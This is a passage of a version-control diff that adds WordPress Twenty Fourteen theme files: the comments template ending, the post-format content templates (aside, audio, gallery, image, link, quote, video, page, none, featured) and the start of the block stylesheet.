+	<h2 class="comments-title">
+		<?php
+			$comments_number = get_comments_number();
+			if ( '1' === $comments_number ) {
+				/* translators: %s: post title */
+				printf( _x( 'One thought on &ldquo;%s&rdquo;', 'comments title', 'twentyfourteen' ), get_the_title() );
+			} else {
+				printf(
+					/* translators: 1: number of comments, 2: post title */
+					_nx(
+						'%1$s thought on &ldquo;%2$s&rdquo;',
+						'%1$s thoughts on &ldquo;%2$s&rdquo;',
+						$comments_number,
+						'comments title',
+						'twentyfourteen'
+					),
+					number_format_i18n( $comments_number ),
+					get_the_title()
+				);
+			}
+		?>
+	</h2>
+
+	<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
+	<nav id="comment-nav-above" class="navigation comment-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Comment navigation', 'twentyfourteen' ); ?></h1>
+		<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyfourteen' ) ); ?></div>
+		<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyfourteen' ) ); ?></div>
+	</nav><!-- #comment-nav-above -->
+	<?php endif; // Check for comment navigation. ?>
+
+	<ol class="comment-list">
+		<?php
+			wp_list_comments( array(
+				'style'       => 'ol',
+				'short_ping'  => true,
+				'avatar_size' => 34,
+			) );
+		?>
+	</ol><!-- .comment-list -->
+
+	<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
+	<nav id="comment-nav-below" class="navigation comment-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Comment navigation', 'twentyfourteen' ); ?></h1>
+		<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyfourteen' ) ); ?></div>
+		<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyfourteen' ) ); ?></div>
+	</nav><!-- #comment-nav-below -->
+	<?php endif; // Check for comment navigation. ?>
+
+	<?php if ( ! comments_open() ) : ?>
+	<p class="no-comments"><?php _e( 'Comments are closed.', 'twentyfourteen' ); ?></p>
+	<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-aside.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-aside.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-aside.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Aside post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'aside' ) ); ?>"><?php echo get_post_format_string( 'aside' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-audio.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-audio.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-audio.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Audio post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'audio' ) ); ?>"><?php echo get_post_format_string( 'audio' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-featured-post.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-featured-post.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-featured-post.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying featured posts on the front page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<a class="post-thumbnail" href="<?php the_permalink(); ?>">
+	<?php
+		// Output the featured image.
+		if ( has_post_thumbnail() ) :
+			if ( 'grid' == get_theme_mod( 'featured_content_layout' ) ) {
+				the_post_thumbnail();
+			} else {
+				the_post_thumbnail( 'twentyfourteen-full-width' );
+			}
+		endif;
+	?>
+	</a>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php endif; ?>
+
+		<?php the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">','</a></h1>' ); ?>
+	</header><!-- .entry-header -->
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-gallery.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-gallery.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-gallery.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Gallery post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'gallery' ) ); ?>"><?php echo get_post_format_string( 'gallery' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-image.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Image post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'image' ) ); ?>"><?php echo get_post_format_string( 'image' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-link.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-link.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-link.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Link post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'link' ) ); ?>"><?php echo get_post_format_string( 'link' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-none.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-none.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-none.php	(revision 56912)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template for displaying a "No posts found" message
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<header class="page-header">
+	<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyfourteen' ); ?></h1>
+</header>
+
+<div class="page-content">
+	<?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+	<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentyfourteen' ), admin_url( 'post-new.php' ) ); ?></p>
+
+	<?php elseif ( is_search() ) : ?>
+
+	<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentyfourteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php else : ?>
+
+	<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentyfourteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php endif; ?>
+</div><!-- .page-content -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-page.php	(revision 56912)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template used for displaying page content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		// Page thumbnail and title.
+		twentyfourteen_post_thumbnail();
+		the_title( '<header class="entry-header"><h1 class="entry-title">', '</h1></header><!-- .entry-header -->' );
+	?>
+
+	<div class="entry-content">
+		<?php
+			the_content();
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+
+			edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' );
+		?>
+	</div><!-- .entry-content -->
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-quote.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-quote.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-quote.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Quote post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'quote' ) ); ?>"><?php echo get_post_format_string( 'quote' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-video.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-video.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content-video.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Video post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'video' ) ); ?>"><?php echo get_post_format_string( 'video' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/content.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div>
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<?php
+				if ( 'post' == get_post_type() )
+					twentyfourteen_posted_on();
+
+				if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) :
+			?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php
+				endif;
+
+				edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' );
+			?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<?php if ( is_search() ) : ?>
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-summary -->
+	<?php else : ?>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+	<?php endif; ?>
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/css/blocks.css	(revision 56912)
@@ -0,0 +1,400 @@
+/*
+Theme Name: Twenty Fourteen
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Block Styles
+2.0 Blocks - Common Blocks
+3.0 Blocks - Formatting
+4.0 Blocks - Layout Elements
+5.0 Blocks - Widgets
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Block Styles
+--------------------------------------------------------------*/
+
+[class^="wp-block-"] figcaption,
+[class^="wp-block-"] figcaption.editor-rich-text__tinymce.mce-content-body {
+	font-size: 12px;
+	font-style: italic;
+	line-height: 1.5;
+	margin: 9px 0 0;
+}
+
+/* Alignments */
+
+[class^="wp-block-"].alignleft,
+[class^="wp-block-"] .alignleft {
+	margin-right: 24px;
+}
+
+[class^="wp-block-"].alignright,
+[class^="wp-block-"] .alignright {
+	margin-left: 24px;
+}
+
+/*--------------------------------------------------------------
+2.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+}
+
+/* Image */
+
+.wp-block-image {
+	margin-bottom: 24px;
+}
+
+.wp-block-image figcaption {
+	text-align: left;
+}
+
+@media screen and (min-width: 810px) {
+	.full-width .site-content .wp-block-image figure.alignleft {
+		margin-left: -168px;
+	}
+
+	.full-width .site-content .wp-block-image figure.alignright {
+		margin-right: -168px;
+	}
+}
+
+.rtl .wp-block-image figcaption {
+	text-align: right;
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin: 0 0 24px;
+}
+
+.wp-block-gallery .blocks-gallery-image figcaption,
+.wp-block-gallery .blocks-gallery-item figcaption {
+	left: 0;
+	right: 0;
+	width: auto;
+}
+
+/* Quote */
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border-left: 0;
+	border-right: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-quote.is-large,
+.wp-block-quote.is-style-large {
+	padding: 0;
+}
+
+.wp-block-quote cite {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+}
+
+.wp-block-quote.alignleft cite,
+.wp-block-quote.alignright cite {
+	display: inline-block;
+	margin-bottom: 17px;
+	margin-top: 0;
+}
+
+.rtl .wp-block-quote.alignleft {
+	margin-right: 24px;
+}
+
+.rtl .wp-block-quote.alignright {
+	margin-left: 24px;
+}
+
+/* Audio */
+
+.wp-block-audio audio {
+	display: block;
+	width: 100%;
+}
+
+/* Cover */
+
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter {
+	display: flex;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__button {
+	background-color: #24890d;
+	border: 0;
+	color: #fff;
+	font-size: 12px;
+	font-weight: 700;
